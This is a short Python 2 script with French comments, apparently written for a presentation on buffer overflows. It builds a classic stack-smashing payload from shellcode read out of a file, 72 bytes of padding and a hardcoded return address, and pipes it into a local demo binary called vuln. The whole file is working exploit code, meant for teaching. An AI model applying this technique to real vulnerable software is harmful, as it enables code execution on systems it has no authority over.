#-*- coding: utf-8 -*-
# exploit.py --- 
# 
# Filename: exploit.py
# Description: exploit pour la presentation cyber sur les buffer overflow
# Author: guillaume
# Maintainer: 
# Created: mar. avril 18 16:15:29 2017 (+0200)
# Last-Updated: 
#           By: 
#     Update #: 0

# Code:

import struct

''' shellcode  '''
shellcode = open('shellcode.hex').read().strip().decode('hex')

''' adresse de notre shellcode (donnée gracieusement par le programme) '''
addr_shellcode=0x7fffffffe250

''' a partir de 72 caractère on réécris l'adresse de retour de la fonction vuln() '''
offset = 72

payload = shellcode
payload +='A' * (offset - len(shellcode)) 
payload += struct.pack('<Q',addr_shellcode)


''' exploit with :
$~ python exploit.py|./vuln 
'''
print payload


# 
# exploit.py ends here
